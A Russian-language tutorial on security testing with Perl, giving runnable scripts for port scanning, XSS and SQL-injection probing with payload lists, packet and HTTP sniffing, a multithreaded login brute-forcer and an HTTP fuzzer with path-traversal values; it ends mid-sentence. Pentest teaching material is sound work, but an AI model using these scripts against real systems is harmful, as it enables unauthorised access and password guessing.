MaxKonovalov38

Тестирование безопасности с использованием Perl

Полное руководство по тестированию безопасности с использованием Perl, включая примеры скриптов и инструментов.

Внимание: Используйте эти скрипты только для тестирования систем, на которые у вас есть разрешение. Несанкционированное тестирование безопасности может быть незаконным.

1. Сканирование портов

1.1 Базовый сканер портов

use strict;
use warnings;

use IO::Socket;

sub scan_port {
    my ($host, $port) = @_;
    my $socket = IO::Socket::INET->new(
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => 'tcp',
        Timeout  => 1
    );
    if ($socket) {
        print "Port $port is open\n";
        $socket->close;
        return 1;
    }
    return 0;
}

my $host = 'example.com';
for my $port (1..1024) {
    scan_port($host, $port);
}

Базовый сканер портов, проверяющий доступность TCP-портов.

1.2 Многопоточный сканер портов

use strict;
use warnings;

use IO::Socket;
use Thread::Queue;
use threads;

my $queue = Thread::Queue->new;
my $host = 'example.com';
my @threads;

sub worker {
    while (my $port = $queue->dequeue) {
        scan_port($host, $port);
    }
}

# Создаем пул потоков
for (1..10) {
    push @threads, threads->create(\&worker);
}

# Добавляем порты в очередь
for my $port (1..1024) {
    $queue->enqueue($port);
}

# Завершаем потоки
$queue->end;
$_->join for @threads;

Многопоточный сканер портов для ускорения проверки.

2. Тестирование веб-приложений

2.1 Проверка уязвимостей XSS

use strict;
use warnings;

use LWP::UserAgent;
use HTML::Parser;

my $ua = LWP::UserAgent->new;
my $url = 'http://example.com/search';

my @xss_payloads = (
    '<script>alert(1)</script>',
    '"><script>alert(1)</script>',
    'javascript:alert(1)'
);

foreach my $payload (@xss_payloads) {
    my $response = $ua->get("$url?q=$payload");
    if ($response->content =~ /\Q$payload\E/) {
        print "Potential XSS vulnerability found with payload: $payload\n";
    }
}

Скрипт для проверки уязвимостей XSS в веб-приложениях.

2.2 Проверка SQL-инъекций

use strict;
use warnings;

use LWP::UserAgent;

my $ua = LWP::UserAgent->new;
my $url = 'http://example.com/login';

my @sql_payloads = (
    "' OR '1'='1",
    "' OR '1'='1' -- ",
    "' OR '1'='1' # ",
    "' OR '1'='1' /* "
);

foreach my $payload (@sql_payloads) {
    my $response = $ua->post(
        $url,
        [
            username => "admin$payload",
            password => 'password'
        ]
    );
    
    if ($response->content =~ /welcome|success|logged in/i) {
        print "Potential SQL injection vulnerability found with payload: $payload\n";
    }
}

Скрипт для проверки уязвимостей SQL-инъекций.

3. Анализ сетевого трафика

3.1 Сниффер пакетов

use strict;
use warnings;

use Net::Pcap;
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;

my $err;
my $dev = Net::Pcap::lookupdev(\$err);
my $pcap = Net::Pcap::open_live($dev, 65535, 1, 0, \$err);

sub process_packet {
    my ($user_data, $header, $packet) = @_;
    
    my $eth = NetPacket::Ethernet->decode($packet);
    if ($eth->{type} == 0x0800) {  # IPv4
        my $ip = NetPacket::IP->decode($eth->{data});
        if ($ip->{proto} == 6) {  # TCP
            my $tcp = NetPacket::TCP->decode($ip->{data});
            print "$ip->{src_ip}:$tcp->{src_port} -> $ip->{dest_ip}:$tcp->{dest_port}\n";
        }
    }
}

Net::Pcap::loop($pcap, -1, \&process_packet, '');
Net::Pcap::close($pcap);

Базовый сниффер пакетов для анализа сетевого трафика.

3.2 Анализ HTTP-трафика

use strict;
use warnings;

use Net::Pcap;
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;

sub process_http {
    my ($user_data, $header, $packet) = @_;
    
    my $eth = NetPacket::Ethernet->decode($packet);
    if ($eth->{type} == 0x0800) {
        my $ip = NetPacket::IP->decode($eth->{data});
        if ($ip->{proto} == 6) {
            my $tcp = NetPacket::TCP->decode($ip->{data});
            if ($tcp->{data}) {
                if ($tcp->{data} =~ /^(GET|POST|PUT|DELETE|HEAD|OPTIONS|TRACE|CONNECT)/) {
                    print "HTTP Request:\n$tcp->{data}\n";
                }
                elsif ($tcp->{data} =~ /^HTTP\/\d\.\d/) {
                    print "HTTP Response:\n$tcp->{data}\n";
                }
            }
        }
    }
}

my $err;
my $dev = Net::Pcap::lookupdev(\$err);
my $pcap = Net::Pcap::open_live($dev, 65535, 1, 0, \$err);

# Фильтр для HTTP-трафика
my $filter = 'tcp port 80 or tcp port 443';
Net::Pcap::compile($pcap, \$filter, $filter, 0, 0);
Net::Pcap::setfilter($pcap, $filter);

Net::Pcap::loop($pcap, -1, \&process_http, '');
Net::Pcap::close($pcap);

Скрипт для анализа HTTP-трафика в сети.

4. Брутфорс и фаззинг

4.1 Брутфорс HTTP-авторизации

use strict;
use warnings;

use LWP::UserAgent;
use Thread::Queue;
use threads;

my $url = 'http://example.com/login';
my $queue = Thread::Queue->new;
my @threads;

sub try_password {
    my $ua = LWP::UserAgent->new;
    while (my $password = $queue->dequeue) {
        my $response = $ua->post(
            $url,
            [
                username => 'admin',
                password => $password
            ]
        );
        if ($response->is_success && 
            $response->content !~ /invalid|error|failed/i) {
            print "Found password: $password\n";
            $queue->end;
        }
    }
}

# Загружаем словарь паролей
open my $fh, '<', 'passwords.txt' or die "Cannot open passwords.txt: $!";
while (my $line = $fh->getline) {
    chomp $line;
    $queue->enqueue($line);
}
close $fh;

# Создаем потоки
for (1..10) {
    push @threads, threads->create(\&try_password);
}

$_->join for @threads;

Многопоточный брутфорсер для HTTP-авторизации.

4.2 Фаззер HTTP-запросов

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request;

my $ua = LWP::UserAgent->new;
my $url = 'http://example.com/api';

my @fuzz_values = (
    '',
    'null',
    'undefined',
    'true',
    'false',
    'NaN',
    'Infinity',
    '-Infinity',
    '[]',
    '{}',
    '<script>alert(1)</script>',
    '../../../../etc/passwd',
    '%00',
    '%0a',
    '%0d'
);

foreach my $value (@fuzz_values) {
    my $request = HTTP::Request->new(
        POST => $url,
        [
            'Content-Type' => 'application/json',
            'X-Test-Header' => $value
        ],
        "{\"data\":\"$value\"}"
    );
    
    my $response = $ua->request($request);
    
    if ($response->code >= 500) {
        print "Server error with value: $value\n";
        print "Response: " . $response->content . "\n";
    }
}

Фаззер для тестирования обработки HTTP-запросов.

Это руководство охватывает основные аспекты тестирования безопасности с использованием Perl, включая: